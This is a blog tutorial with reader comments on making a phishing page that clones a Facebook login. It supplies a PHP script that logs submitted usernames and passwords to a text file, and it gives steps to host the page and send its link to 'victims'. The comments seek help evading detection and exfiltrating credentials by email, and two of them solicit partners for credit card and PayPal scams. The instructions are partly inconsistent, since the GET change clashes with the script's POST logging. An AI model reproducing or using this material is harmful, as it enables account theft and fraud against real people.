Learn How to Make a Phishing Page for any Website
|
As I mention earlier in my previous posts that Phishing is a way of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication. This is similar to Fishing, where the fisherman puts a bait at the hook, thus, pretending to be a genuine food for fish. But the hook inside it takes the complete fish out of the lake. Phishing is typically carried out by e-mail spoofing or instant messaging, and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one. Phishing is an example of social engineering techniques used to deceive users, and exploits the poor usability of current web security technologies. Around 50% of the accounts in todays world is get hacked by this process.. that is why Phishing is considered as the simplest and easiest way of Hacking someone sensitive information. Below is the complete tutorial on it.
How to make a Phisher or Phishing/Fake Page:
1. First Open any website which you want to make phisher/ fake login page.
for eg : Facebook.com2. Now do right click and save the page.
3. Then open that page in notepad, search for "action = http://" and change the following address to login.php and also change method = " Post" to "GET" and hit save.
4. After editing save the page as "index.html"
5. Now its time to create login.php . Open any blank notepad and copy/paste this below code and save it as login.php
header ('Location: http://google.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Note :- By default the victim will be redirected to google.com once he clicks login ,If you want you can change the address you can do it by changing the www.google.com to any address you want.
6. Now create a simple and empty text file in notepad and save it as log.txt
7. Now create your own free web hosting account at my3gb.com or 110mb.com or 000webhost.com and upload all the three files.
8. Upload Index.html , login.php , log.txt we created in the above steps.
9. We are done, our phisher / fake login page is ready to use….
How to Hack Accounts ?
Send the index.html (the uploaded one) link to your victim , once he/she will enter his/her information and do login with our fake login page, then every thing will be stored in the log.txt file placed in your hosting account, now open log.txt to see all the Login details.
Its very simple to create phisher/fake login page for any website, Here i have taken the example of Facebook Phisher . But in this same you can also create the phisher of many websites like yahoo, Gmail, orkut etc..
If you face any problem then please tell me by commenting. Have Fun !
Join me on Google+
|
Respected Readers :-
|
E njoyed this post very much – So why not you Subscribe to our regular Email Updates ! and stay connected with us forever .
how to make d fake page url undetectable like original.....otherwise every1'll come to know that it fake...???..nw a dayz all r phishing is known by each n every user... Hw we will send fake page to victim in facebook.... Like from which email id...suppose if i take facebooksupport@gmail.com or yahoo.com....den it'll be easily detectable by the victim...coz itz obvious dt facebook support team will never make email on gmail and send email......kindly respond to my queries soon....
ReplyDelete@Bharvi
ReplyDeleteHonestly Bharvi i dont get your question, plz repeat it in good manner. Anyways,You can send fake page to your victims at her/his email from your gmail,yahoo id or you can send page downloading link in the facebook chat box and say him to visit.
At last my problems have been solved!!! So how do i make a more confidential interaction with you...Charles!
ReplyDeletenice post . Can u help me how can i hack my nokia 5233
ReplyDeletei can not upload the LOGIN.PHP file in MY3GB.COM..? help me
ReplyDelete@Anonymous
ReplyDeleteok, if not then plz try www.110mb.com
This comment has been removed by the author.
ReplyDeleteVery well explained! However, I can't see any passwords being fetched in my log.txt file. Its just staying blank. Any idea why? I really need your help asap.
ReplyDeleteHi there, I was wondering if you could help me make a phising page for a fack login and have everthing bounce back to my email? my email is fred_rose@live.ca
ReplyDeleteHey Karan, thanks for the post man. it didnt work first time because i think you made a mistake. i left 'post' alone and added '<?php' to the beginning of the script, works great now! thanks again.
ReplyDeleteI have same question as Fred....how come LOG.TXT is still empty...i have sent it to myself and click the link, but no passwords in that folder....Pleasssssssssseeee ADMIN.
ReplyDeletehy karan i have done all you told me but the log.txt file remains empty can you help me? i have tryed my self but still empty. please reply!
DeleteShe Password Wont Show On Log.txt
ReplyDeleteif you need help phishing or want to team up with credit card scams, paypal scams anything like that add me on facebook creditcards_forsale@yahoo.com
ReplyDeleteif you need help phishing or want to team up with credit card scams, paypal scams anything like that add me on facebook creditcards_forsale@yahoo.com
ReplyDelete